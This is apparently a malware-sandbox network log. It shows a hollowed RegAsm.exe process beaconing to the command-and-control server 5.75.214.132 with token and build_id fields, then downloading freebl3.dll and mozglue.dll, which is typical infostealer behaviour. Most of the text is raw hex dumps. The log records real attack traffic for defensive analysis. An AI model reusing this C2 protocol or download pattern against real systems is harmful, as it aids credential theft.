2024-09-11 14:23:08 UTC	8000	IN	Data Raw: ae 46 f2 15 41 2a b1 37 7c 50 28 dd 54 11 64 d7 b8 b0 8c 78 d8 f5 19 43 0f a4 bb 91 db 9d 54 0c a1 60 a6 fd df 9e f9 e4 72 30 fd 86 39 05 6e cd bd 49 c7 69 9e d2 b2 dd 08 09 cd 07 fd 67 5c 5a f3 9f c3 de d4 f5 41 dd 92 68 85 8e bd 18 1b 75 9a 32 87 de 63 e9 f2 af 36 ec ac 4a 5b 7e 70 ce 13 26 e5 14 97 0c 00 78 02 c9 bb 26 7f 74 cf 1d 8a ac e1 04 af b8 2d 1e 2f 23 de ee 04 23 9c 3e e3 24 d2 1b 2d fb 1e c7 fb 53 45 18 44 2e 9c a4 13 a4 7a 8f 86 22 95 ba 66 8e 1f ca 7d 3e 8d 01 70 9a 79 cd 18 96 4f f8 fe a6 08 64 49 32 79 eb e8 c2 d0 ea b4 58 1b b2 75 34 aa 73 bc 1b a1 b9 2e a1 5e 13 9b 80 2f 59 a7 a7 2b 98 d0 c2 fd 7b a8 40 06 06 c6 41 09 33 72 81 39 82 96 06 85 da 98 e2 a9 8b be 73 ff 6c 83 81 9d 77 75 43 4a 22 97 05 55 3e c6 c9 ba 81 70 33 21 f9 9f bb 05 Data Ascii: FA*7\|P(TdxCT`r09nIig\ZAhu2c6J[~p&x&t-/##>$-SED.z"f}>pyOdI2yXu4s.^/Y+{@A3r9slwuCJ"U>p3!
2024-09-11 14:23:08 UTC	8000	IN	Data Raw: 5c 0b d9 50 00 a2 5d e4 a1 0b 82 2f e9 09 23 87 d9 98 87 8c a0 af bc e1 c0 20 3d 51 9e 99 1b 87 75 a8 96 c0 3d bd 37 2d fd a0 58 f5 6a 81 e2 14 f0 01 f7 31 76 d5 c3 ae 13 6d d6 a0 03 88 46 29 c4 e1 74 bc 35 e6 a8 da 35 77 ae 47 11 1e 99 58 69 62 c6 df 69 b7 85 a8 3a a0 c0 d8 85 cf 18 ec a2 4a 13 e0 78 8b 49 97 2e cb 02 ac 77 ba df 8c c2 1e 1e 7a 66 40 a9 ea 6d e5 92 d2 a7 97 bd 9d 37 16 1b 72 39 41 43 5c 8f 07 6b 94 1f 22 8b 17 06 56 c3 b9 e2 7a 8e ec 8a 6d ea 58 7c 40 d8 80 21 79 e8 bb 36 06 39 09 67 65 76 4b c8 36 22 bc 8c 71 97 77 89 86 0a 5c 8e 9c d2 19 66 38 49 05 45 6e 22 b8 51 b7 91 67 1d 16 90 1d ac f7 80 53 5e 09 51 d1 91 c2 24 cb 30 0d fa ac d1 03 85 0a 74 45 68 be 67 28 0c ac 8f 97 84 6c b7 56 c3 b8 e1 84 13 0f 8b 37 e7 ae 8c ae d8 c1 78 f5 ee Data Ascii: \P]/# =Qu=7-Xj1vmF)t55wGXibi:JxI.wzf@m7r9AC\k"VzmX\|@!y69gevK6"qw\f8IEn"QgS^Q$0tEhg(lV7x
2024-09-11 14:23:08 UTC	8000	IN	Data Raw: fa 07 e4 e9 11 bb 71 48 78 34 65 ae 69 5e b7 15 94 09 03 45 fc cd 97 4f 60 68 e9 3b a3 e8 c3 63 3e 8f 32 9e e2 c1 3b be dd a1 2e dd 25 0c f5 7e 0c 59 2d 6b 52 50 40 27 71 6a ce 64 2d 03 02 7c 73 63 31 a3 5c 26 d8 10 2c 17 43 df 5f ed 33 29 b8 9d dc b0 0d c5 9e 9f 3c 4d 0c 26 ad ed 89 5c 4b 54 15 ec 0e 14 4d 0d 12 32 e6 8d 9b 11 f0 b6 62 3e f3 f9 5e 41 88 22 4a 62 62 8f 63 2c 43 9a 81 f8 6e dc 4e b4 b7 fe 14 c6 76 44 42 9a 67 d4 7b 9d 99 73 95 31 a6 3b 8a 84 d5 2e 80 2b 21 c7 42 c5 21 05 a0 b7 67 b8 2c 8e f7 3d 0f 66 ea 99 d2 ff c9 4e f1 0a f9 c9 72 fb e3 9a 40 ab 30 e9 db f9 94 9c 63 86 a1 59 c5 12 e2 b2 a5 6c 20 92 c0 d3 71 6d ae 78 a8 47 f0 49 6a 86 d3 2a 27 40 e2 fa f1 61 37 8c 0b 06 bb 97 17 32 c6 ec 3a 06 ad 6d 90 65 fe 1b 4a 3f 80 7b 08 ed 91 19 36 Data Ascii: qHx4ei^EO`h;c>2;.%~Y-kRP@'qjd-\|sc1\&,C_3)<M&\KTM2b>^A"Jbbc,CnNvDBg{s1;.+!B!g,=fNr@0cYl qmxGIj*'@a72:meJ?{6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	63410	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:08 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:08 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------IJDGCAEBFIIECAKFHIJECont
2024-09-11 14:23:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:08 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	63412	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:09 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:09 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------GCGCFCBAKKFBFIECAEBACont
2024-09-11 14:23:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:10 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	63413	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:10 UTC	243	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:10 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:10 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:23:10 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:23:10 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-09-11 14:23:10 UTC	16384	IN	Data Raw: 0c ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-09-11 14:23:10 UTC	16384	IN	Data Raw: f2 c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-09-11 14:23:10 UTC	16384	IN	Data Raw: 8b 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-09-11 14:23:10 UTC	16384	IN	Data Raw: ee 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-09-11 14:23:10 UTC	16384	IN	Data Raw: 00 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-09-11 14:23:10 UTC	16384	IN	Data Raw: c4 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-09-11 14:23:11 UTC	16384	IN	Data Raw: 8b 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-09-11 14:23:11 UTC	16384	IN	Data Raw: 77 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 Data Ascii: w8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-09-11 14:23:11 UTC	16384	IN	Data Raw: e8 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	63415	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:12 UTC	243	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:12 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:12 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:23:12 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:23:12 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: ff ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: e9 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 